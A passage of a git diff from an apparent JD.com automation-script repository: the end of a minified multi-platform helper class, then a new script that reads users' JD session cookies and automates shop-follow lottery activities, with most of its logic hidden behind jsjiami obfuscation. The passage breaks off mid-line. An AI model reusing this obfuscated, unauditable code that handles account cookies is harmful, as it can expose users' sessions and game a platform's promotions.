`http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_wxShopFollowActivity.js b/jd_wxShopFollowActivity.js new file mode 100755 index 0000000..7444597 --- /dev/null +++ b/jd_wxShopFollowActivity.js @@ -0,0 +1,40 @@ +/* +看脸活动 +https://lzkj-isv.isvjcloud.com//activity/xxx?activityId=xxx + +pinBlackLists 黑名单 pin , 多pin & 分开 +wxShopFollowActivity 活动id, 多活动 & 分开 +7 7 7 7 7 jd_wxShopFollowActivity.js +*/ +const $ = new Env('关注店铺抽奖'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let activityIdList = [ +] +let lz_cookie = {} +let pinBlackLists = [] +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +if (process.env.pinBlackLists && process.env.pinBlackLists != "") { + pinBlackLists = process.env.pinBlackLists.split('&'); +} +if (process.env.wxShopFollowActivity && process.env.wxShopFollowActivity != "") { + activityIdList = process.env.wxShopFollowActivity.split('&'); +} +var _0xodX='jsjiami.com.v6',_0xodX_=['‮_0xodX'],_0x1288=[_0xodX,'WU1HUUE=','SVBRalM=','cnVYUlE=','RmxacWE=','ZG1Dbnk=','THhYaks=','YXF0bkc=','ZW5MdE8=','R3RKVnA=','Y1JiTUI=','Y2FNbHA=','cE1ycXg=','aHR0cHM6Ly9tZS1hcGkuamQuY29tL3VzZXJfbmV3L2luZm8vR2V0SkRVc2VySW5mb1VuaW9u','bWUtYXBpLmpkLmNvbQ==','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxNF8zIGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi8xNC4wLjIgTW9iaWxlLzE1RTE0OCBTYWZhcmkvNjA0LjE=','aHR0cHM6Ly9ob21lLm0uamQuY29tL215SmQvbmV3aG9tZS5hY3Rpb24/c2NlbmV2YWw9MiZ1ZmM9Jg==','SlpVZlg=','UFZvWEU=','eHhKZWE=','SmxSblg=','bEhLanI=','QUZpY0o=','alhDa00=','blpMU0s=','dXJEenA=','SWlWbUo=','UUxEZUo=','dlluenk=','bG9nRXJy','V1dzWkk=','dEFSZHE=','a1RrRGE=','R0hLQlc=','R3pOU1Q=','d3REVk4=','SmtNaG4=','V3BPS1g=','Z0lXaUk=','R2dPc2o=','cmVGTGQ=','R0VSTHA=','WkRnYU4=','T0laZWo=','THBOdEo=','THNUa2c=','44CQ5o+Q56S644CR6K+35YWI6I635Y+W5Lqs5Lic6LSm5Y+35LiAY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tL2JlYW4vc2lnbkluZGV4LmFjdGlvbg==','5byA6LW356ysIA==','IOS4qua0u+WKqO+8jOa0u+WKqGlk77ya','TUhwc3Y=','S1BoRUY=','6buR5ZCN5Y2V6Lez6L+H','Qk1XVEk=','SXhNWHM=','eHh4eHh4eHgteHh4eC14eHh4LXh4eHgteHh4eHh4eHh4eHh4','eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eA==','TnJGamU=','5pyJ54K55YS/5pS26I63','RHJEZ3k=','S3NQQVY=','QlBqakI=','bXNn','bmFtZQ==','THVzcGc=','RHp4RkM=','ZWRQT3c=','bG9n','WEhEWkU=','d090bk0=','c1JuVk8=','VnBxU3Q=','bGVuZ3Ro','eWtLcGQ=','TkZWQUw=','YXppcEk=','VXNlck5hbWU=','eXdtUXk=','bWF0Y2g=','aW5kZXg=','ZVdqdGc=','aXNMb2dpbg==','bmlja05hbWU=','c2tOUFc=','aW5kZXhPZg==','VGlORWw=','aEl1VmI=','CioqKioqKuW8gOWni+OAkOS6rOS4nOi0puWPtw==','KioqKioqKioqCg==','cXpQeXE=','dkZmd2U=','U2Z4SnM=','TmpoYkM=','Zmxvb3I=','SG96YW4=','cmFuZG9t','cFJlRno=','44CQ5o+Q56S644CRY29va2ll5bey5aSx5pWI','5Lqs5Lic6LSm5Y+3','Cuivt+mHjeaWsOeZu+W9leiOt+WPlgpodHRwczovL2JlYW4ubS5qZC5jb20vYmVhbi9zaWduSW5kZXguYWN0aW9u','aXNOb2Rl','c2VuZE5vdGlmeQ==','Y29va2ll5bey5aSx5pWIIC0g','Cuivt+mHjeaWsOeZu+W9leiOt+WPlmNvb2tpZQ==','YmVhbg==','QURJRA==','ZHJwbFE=','a3djbmU=','VVVJRA==','dElpTXA=','RW14Z3k=','YXV0aG9yTnVt','YWN0aXZpdHlJZA==','YWN0aXZpdHlVcmw=','aHR0cHM6Ly9semtqLWlzdi5pc3ZqY2xvdWQuY29tL3d4U2hvcEZvbGxvd0FjdGl2aXR5L2FjdGl2aXR5Lw==','P2FjdGl2aXR5SWQ9','JmFkc291cmNlPW51bGwmbG5nPTAwLjAwMDAwMCZsYXQ9MDAuMDAwMDAwJnNpZD0mdW5fYXJlYT0=','cXVFUU4=','CuOAkOS6rOS4nOi0puWPtw==','IAogICAgICAg4pSUIOiOt+W+lyA=','IOS6rOixhuOAgg==','RU9QdFo=','RlFhRG8=','WFRZUGI=','dXBHWk0=','cmVwbGFjZQ==','UXpucVU=','RExBd2g=','b2VzVXo=','dG9TdHJpbmc=','dG9VcHBlckNhc2U=','Y2F0Y2g=','LCDlpLHotKUhIOWOn+WboDog','ZmluYWxseQ==','ZG9uZQ==','5Lqs5Lic6L+U5Zue5LqG56m65pWw5o2u','Y3VzdG9tZXIvZ2V0U2ltcGxlQWN0SW5mb1Zv','a095R3I=','Y29tbW9uL2FjY2Vzc0xvZ1dpdGhBRA==','YWN0aXZpdHlDb250ZW50T25seQ==','MnwzfDB8MXw0','LT4g5oq95aWW','LT4g5YWz5rOo5bqX6ZO6','Zm9sbG93','Z2V0UHJpemU=','5pyq6IO95oiQ5Yqf6I635Y+W5Yiw5rS75Yqo5L+h5oGv','5rKh5pyJ5oiQ5Yqf6I635Y+W5Yiw55So5oi35L+h5oGv','c1VXa0M=','5rKh5pyJ5oiQ5Yqf6I635Y+W5Yiw55So5oi36Ym05p2D5L+h5oGv','dG9rZW4=','c2VjcmV0UGlu','dmVuZGVySWQ=','ZUtyb0U=','eGhFbVA=','UnJRY0s=','Y2VCalM=','YWN0aXZpdHlJZD0=','YWNoaFo=','b1FqaWQ=','a0xucmU=','SURPUmw=','dmVuZGVySWQ9','JmNvZGU9','YWN0aXZpdHlUeXBl','JnBpbj0=','aHhXVHQ=','JmFjdGl2aXR5SWQ9','JnBhZ2VVcmw9','JnN1YlR5cGU9YXBwJmFkU291cmNlPXRnX3h1YW5GdVR1Qmlhbw==','Ym94c2U=','RVFHTms=','YWN0aXZpdHlDb250ZW50','RlNLTWc=','c3BsaXQ=','d2FpdA==','eENFSE0=','U3hpVk8=','dU9rWWo=','emlrYVQ=','d214S3Q=','Ynl0aEU=','TU56WXM=','RGtRbUU=','YXBEek4=','R3ZzSWY=','VlJqSHQ=','cUVqRGs=','RWVablc=','TUZRSHk=','dWFXZnI=','VkRydHE=','aGVhZGVycw==','c2V0LWNvb2tpZQ==','d3hBc3NlbWJsZVBhZ2UvZ2V0RmxvYXRJY29uU3RhdHVz','5rS75Yqo5aWW5ZOBOiA=','TE5PR3Q=','ZE5aQWk=','Qm56Wk8=','RHpvYU4=','dnNaVW0=','cG9zdA==','dkxxbUw=','YmVTVkg=','a3VyeHI=','YUhIVGo=','SGF5QkI=','eEpYRks=','cGFyc2U=','QnBueVg=','cUtTV1E=','c3Vic3Ry','UlFmWUY=','a2V5cw==','TE9TSG8=','bUJGdnQ=','cmVzdWx0','VkNOVkU=','ZGF0YQ==','THpBWW4=','amRBY3Rpdml0eUlk','YWN0aXZpdHlTaG9wSWQ=','c2hvcElk','c09tcUU=','Vm1zaW4=','ZHJhd0NvbnRlbnRWT3M=','bFB3TXU=','YWRqbVQ=','ZldYTng=','c3RyaW5naWZ5','WG9ZQlU=','a0ZYWHo=','Y2Z4RHc=','b2hDYXA=','bHprai1pc3YuaXN2amNsb3VkLmNvbQ==','YXBwbGljYXRpb24vanNvbg==','WE1MSHR0cFJlcXVlc3Q=','emgtY24=','Z3ppcCwgZGVmbGF0ZSwgYnI=','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk','aHR0cHM6Ly9semtqLWlzdi5pc3ZqY2xvdWQuY29tbQ==','a2VlcC1hbGl2ZQ==','aHR0cHM6Ly9semtqLWlzdi5pc3ZqY2xvdWQuY29tLw==','aHR0cHM6Ly9semtqLWlzdi5pc3ZqY2xvdWQuY29tL3d4U2hvcEZvbGxvd0FjdGl2aXR5Lw==','Slh5eGc=','bFNNcWs=','b0hTcXg=','ZHFtWm4=','cmd1SHA=','WVZPZ2I=','U2Z6Q1g=','amRhcHA7aVBob25lOzkuNS40OzEzLjY7','O25ldHdvcmsvd2lmaTtBRElELw==','O21vZGVsL2lQaG9uZTEwLDM7YWRkcmVzc2lkLzA7YXBwQnVpbGQvMTY3NjY4O2pkU3VwcG9ydERhcmtNb2RlLzA7TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM182IGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgTW9iaWxlLzE1RTE0ODtzdXBwb3J0SkRTSFdLLzE=','V21GYVU=','UHF4ZVA=','YXpFY0Y=','WHB2RWw=','UGZ5S3I=','RXZDa0Q=','RHdJS2E=','V0VLTHQ=','aHR0cHM6Ly9semtqLWlzdi5pc3ZqY2xvdWQuY29t','aHR0cHM6Ly9semtqLWlzdi5pc3ZqY2xvdWQuY29tL2N1c3RvbWVyL2dldE15UGluZw==','eUpqckw=','ZGthRFM=','V0liZVA=','V2RvQnQ=','alBnckg=','R2dzcE8=','b1daSW0=','V0lkUlE=','dXNlcklkPQ==','JnRva2VuPQ==','JmZyb21UeXBlPUFQUA==','TFlvZkk=','ekZhb3Y=','ZVBGREw=','Q0JpQlQ=','WlRQR1U=','ZXV5V1I=','Z1hHRng=','bnFCQ2I=','bUxYS2s=','Q3pyRnY=','REdvWXU=','SHRhUVo=','TXdUZXI=','RFFlWlQ=','a3lFSks=','b29YeWk=','eVhvVFQ=','VERpRUU=','VW54V2Y=','eXlsSnQ=','cFpXTVg=','S0RWU1M=','Qll5UFU=','Y29kZQ==','TVpnblE=','5L2g5aW977ya','bmlja25hbWU=','cGlu','RGd1V2s=','UHJ3SE4=','R3psZFU=','ZXJyb3JNZXNzYWdl','SUh0eHU=','Y1hsS2Q=','SnRHVHc=','MTAwMQ==','dXNlckluZm8=','ZGFxeHM=','Z0ROWVU=','SVZKVXc=','UWhYQWQ=','T2Nldlg=','UW5WZWw=','aUF0RnU=','Li9VU0VSX0FHRU5UUw==','SkRVQQ==','amRhcHA7aVBob25lOzkuNC40OzE0LjM7bmV0d29yay80ZztNb3ppbGxhLzUuMCAoaVBob25lOyBDUFUgaVBob25lIE9TIDE0XzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBNb2JpbGUvMTVFMTQ4O3N1cHBvcnRKRFNIV0svMQ==','T3V2eWo=','YkhNeko=','a1J3ekQ=','TkZZc2I=','aEZEdGU=','TmxxRm8=','cE5sTkY=','R1dzUUc=','ZmpmQW8=','Z2V0','ZW52','SkRfVVNFUl9BR0VOVA==','TW5nYm8=','Y2VhTWk=','VVNFUl9BR0VOVA==','Z2V0ZGF0YQ==','RHhNV1U=','U2xpcE8=','aWl5VU0=','TGRGWFA=','bExTWGg=','aUdqcWM=','Yk54UUU=','c0ZoZnM=','QUp2SVg=','RGh4VUY=','S3VmcHY=','UWdkSlQ=','enhzaWs=','QXR1Zkg=','Um1lVWI=','WU53aWM=','S3V0cUE=','YWpsWEc=','eUJiZ3k=','bW91Vmk=','ZFhaQlo=','UENrZHY=','Rmp5bko=','Tm55SGU=','WWFMSWk=','ZFRnb0o=','blBrWGo=','VGhlbGo=','a0tDZFE=','aEFEUng=','dVVlcUk=','UHd4ekE=','cmV0Y29kZQ==','ZEVUZ0M=','QnhMZU4=','aGFzT3duUHJvcGVydHk=','ZXlqZ0E=','YmFzZUluZm8=','b0lpV3U=','SFBWZWc=','YXBpLm0uamQuY29t','Ki8q','SkQ0aVBob25lLzE2NzY1MCAoaVBob25lOyBpT1MgMTMuNzsgU2NhbGUvMy4wMCk=','emgtSGFucy1DTjtxPTE=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPWlzdk9iZnVzY2F0b3I=','dEZYalk=','Z1dFWm0=','aGJsckM=','ZnBjWnE=','VVVnY0E=','b3RFY1A=','aU1tbXg=','Ym9keT0lN0IlMjJ1cmwlMjIlM0ElMjAlMjJodHRwcyUzQS8vbHpkejEtaXN2LmlzdmpjbG91ZC5jb20lMjIlMkMlMjAlMjJpZCUyMiUzQSUyMCUyMiUyMiU3RCZ1dWlkPTcyMTI0MjY1MjE3ZDQ4Yjc5NTU3ODEwMjRkNjViYmM0JmNsaWVudD1hcHBsZSZjbGllbnRWZXJzaW9uPTkuNC4wJnN0PTE2MjE3OTY3MDIwMDAmc3Y9MTIwJnNpZ249MTRmN2ZhYTMxMzU2Yzc0ZTlmNDI4OTk3MmRiNGI5ODg=','d3J3R0I=','SkNGcnk=','cXhndE8=','SHRLcm8=','RUx5Z3M=','S3dla1g=','VUNLcXk=','cWhBeVU=','dnhibVM=','VElGRHk=','VnRvbVo=','dEFtRWI=','ZVVOcHU=','dWplRmc=','cVZOcW8=','eGFIWUg=','U1dIS2Q=','eVR3VG8=','FDjseLjFMiXyXPfAuMIaBhmi.com.v6=='];if(function(_0x150c31,_0x4e3138,_0x57f483){function _0x12b46b(_0x4d66c5,_0x1e501f,_0x557458,_0x32e349,_0x1840d6,_0x119d30){_0x1e501f=_0x1e501f>>0x8,_0x1840d6='po';var _0x908ac='shift',_0x2561ca='push',_0x119d30='‮';if(_0x1e501f<_0x4d66c5){while(--_0x4d66c5){_0x32e349=_0x150c31[_0x908ac]();if(_0x1e501f===_0x4d66c5&&_0x119d30==='‮'&&_0x119d30['length']===0x1){_0x1e501f=_0x32e349,_0x557458=_0x150c31[_0x1840d6+'p']();}else if(_0x1e501f&&_0x557458['replace'](/[FDeLFMXyXPfAuMIBh=]/g,'')===_0x1e501f){_0x150c31[_0x2561ca](_0x32e349);}}_0x150c31[_0x2561ca](_0x150c31[_0x908ac]());}return 0xf6e0a;};return _0x12b46b(++_0x4e3138,_0x57f483)>>_0x4e3138^_0x57f483;}(_0x1288,0x1c2,0x1c200),_0x1288){_0xodX_=_0x1288['length']^0x1c2;};function _0x4b5d(_0x3b438b,_0x2ae19f){_0x3b438b=~~'0x'['concat'](_0x3b438b['slice'](0x1));var _0x514e13=_0x1288[_0x3b438b];if(_0x4b5d['YCAJdd']===undefined&&'‮'['length']===0x1){(function(){var _0x440477=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x27ab7d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x440477['atob']||(_0x440477['atob']=function(_0x5ae3dc){var _0x280904=String(_0x5ae3dc)['replace'](/=+$/,'');for(var _0x3b5d3d=0x0,_0x3933f1,_0x33901e,_0x5e1bd3=0x0,_0x5142f2='';_0x33901e=_0x280904['charAt'](_0x5e1bd3++);~_0x33901e&&(_0x3933f1=_0x3b5d3d%0x4?_0x3933f1*0x40+_0x33901e:_0x33901e,_0x3b5d3d++%0x4)?_0x5142f2+=String['fromCharCode'](0xff&_0x3933f1>>(-0x2*_0x3b5d3d&0x6)):0x0){_0x33901e=_0x27ab7d['indexOf'](_0x33901e);}return _0x5142f2;});}());_0x4b5d['LVmhZL']=function(_0x4bcb77){var _0x5a94b2=atob(_0x4bcb77);var _0x17d591=[];for(var _0x44d747=0x0,_0x355e1c=_0x5a94b2['length'];_0x44d747<_0x355e1c;_0x44d747++){_0x17d591+='%'+('00'+_0x5a94b2['charCodeAt'](_0x44d747)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x17d591);};_0x4b5d['BuIVSJ']={};_0x4b5d['YCAJdd']=!![];}var _0x5c810c=_0x4b5d['BuIVSJ'][_0x3b438b];if(_0x5c810c===undefined){_0x514e13=_0x4b5d['LVmhZL'](_0x514e13);_0x4b5d['BuIVSJ'][_0x3b438b]=_0x514e13;}else{_0x514e13=_0x5c810c;}return _0x514e13;};!(async()=>{var _0xc87f5d={'edPOw':function(_0x305cde){return _0x305cde();},'NjhbC':function(_0x153380,_0x470b73){return _0x153380+_0x470b73;},'Hozan':function(_0x12153a,_0x389e69){return _0x12153a*_0x389e69;},'pReFz':function(_0x5556a4,_0x52838a){return _0x5556a4-_0x52838a;},'QznqU':function(_0x49c2ec,_0x9a78b2){return _0x49c2ec|_0x9a78b2;},'DLAwh':function(_0x1f8d45,_0x3697fa){return _0x1f8d45==_0x3697fa;},'oesUz':function(_0x60fbed,_0x293acd){return _0x60fbed&_0x293acd;},'DrDgy':function(_0x2f0517,_0x34d9d5){return _0x2f0517!==_0x34d9d5;},'KsPAV':_0x4b5d('‮0'),'BPjjB':_0x4b5d('‫1'),'Luspg':_0x4b5d('‮2'),'DzxFC':_0x4b5d('‮3'),'XHDZE':function(_0x3671f0,_0x11220e){return _0x3671f0+_0x11220e;},'wOtnM':_0x4b5d('‫4'),'sRnVO':_0x4b5d('‮5'),'VpqSt':function(_0x171637,_0x4c3238){return _0x171637<_0x4c3238;},'ykKpd':function(_0x54e3f5,_0x311488){return _0x54e3f5===_0x311488;},'NFVAL':_0x4b5d('‫6'),'azipI':_0x4b5d('‫7'),'ywmQy':function(_0x3a2861,_0x1493d0){return _0x3a2861(_0x1493d0);},'eWjtg':function(_0x5772d9,_0x2099be){return _0x5772d9+_0x2099be;},'skNPW':function(_0x4f3566,_0x36c348){return _0x4f3566!=_0x36c348;},'TiNEl':function(_0x4e4d71,_0xa6452a){return _0x4e4d71+_0xa6452a;},'hIuVb':_0x4b5d('‫8'),'qzPyq':function(_0x4ec15f,_0x372029){return _0x4ec15f===_0x372029;},'vFfwe':_0x4b5d('‫9'),'SfxJs':_0x4b5d('‮a'),'drplQ':function(_0x13c026,_0x42e000,_0x241f86){return _0x13c026(_0x42e000,_0x241f86);},'kwcne':_0x4b5d('‮b'),'tIiMp':function(_0x48b1bf,_0x298cb3){return _0x48b1bf(_0x298cb3);},'Emxgy':_0x4b5d('‮c'),'quEQN':function(_0x5f05ac,_0x140be1){return _0x5f05ac>_0x140be1;},'EOPtZ':function(_0x3ae2b6,_0x1e29d9){return _0x3ae2b6!==_0x1e29d9;},'FQaDo':function(_0x936cdb,_0x373c91){return _0x936cdb===_0x373c91;},'XTYPb':_0x4b5d('‮d'),'upGZM':_0x4b5d('‮e')};if(!cookiesArr[0x0]){if(_0xc87f5d[_0x4b5d('‮f')](_0xc87f5d[_0x4b5d('‫10')],_0xc87f5d[_0x4b5d('‮11')])){$[_0x4b5d('‫12')]($[_0x4b5d('‮13')],_0xc87f5d[_0x4b5d('‮14')],_0xc87f5d[_0x4b5d('‫15')],{'open-url':_0xc87f5d[_0x4b5d('‫15')]});return;}else{_0xc87f5d[_0x4b5d('‮16')](resolve);}}for(let _0x482388 in activityIdList){activityId=activityIdList[_0x482388];console[_0x4b5d('‮17')](_0xc87f5d[_0x4b5d('‫18')](_0xc87f5d[_0x4b5d('‫18')](_0xc87f5d[_0x4b5d('‫18')](_0xc87f5d[_0x4b5d('‫19')],_0x482388),_0xc87f5d[_0x4b5d('‫1a')]),activityId));for(let _0x3da666=0x0;_0xc87f5d[_0x4b5d('‫1b')](_0x3da666,cookiesArr[_0x4b5d('‮1c')]);_0x3da666++){if(_0xc87f5d[_0x4b5d('‫1d')](_0xc87f5d[_0x4b5d('‫1e')],_0xc87f5d[_0x4b5d('‮1f')])){_0xc87f5d[_0x4b5d('‮16')](resolve);}else{if(cookiesArr[_0x3da666]){cookie=cookiesArr[_0x3da666];originCookie=cookiesArr[_0x3da666];newCookie='';$[_0x4b5d('‫20')]=_0xc87f5d[_0x4b5d('‮21')](decodeURIComponent,cookie[_0x4b5d('‫22')](/pt_pin=(.+?);/)&&cookie[_0x4b5d('‫22')](/pt_pin=(.+?);/)[0x1]);$[_0x4b5d('‫23')]=_0xc87f5d[_0x4b5d('‮24')](_0x3da666,0x1);$[_0x4b5d('‫25')]=!![];$[_0x4b5d('‫26')]='';if(_0xc87f5d[_0x4b5d('‫27')](pinBlackLists[_0x4b5d('‮28')]($[_0x4b5d('‫20')]),-0x1)){console[_0x4b5d('‮17')](_0xc87f5d[_0x4b5d('‮29')](_0xc87f5d[_0x4b5d('‫2a')],$[_0x4b5d('‫20')]));continue;}await _0xc87f5d[_0x4b5d('‮16')](checkCookie);console[_0x4b5d('‮17')](_0x4b5d('‮2b')+$[_0x4b5d('‫23')]+'】'+($[_0x4b5d('‫26')]||$[_0x4b5d('‫20')])+_0x4b5d('‮2c'));if(!$[_0x4b5d('‫25')]){if(_0xc87f5d[_0x4b5d('‮2d')](_0xc87f5d[_0x4b5d('‮2e')],_0xc87f5d[_0x4b5d('‫2f')])){return _0xc87f5d[_0x4b5d('‫30')](Math[_0x4b5d('‫31')](_0xc87f5d[_0x4b5d('‮32')](Math[_0x4b5d('‫33')](),_0xc87f5d[_0x4b5d('‮34')](max,min))),min);}else{$[_0x4b5d('‫12')]($[_0x4b5d('‮13')],_0x4b5d('‫35'),_0x4b5d('‫36')+$[_0x4b5d('‫23')]+'\x20'+($[_0x4b5d('‫26')]||$[_0x4b5d('‫20')])+_0x4b5d('‫37'),{'open-url':_0xc87f5d[_0x4b5d('‫15')]});if($[_0x4b5d('‫38')]()){await 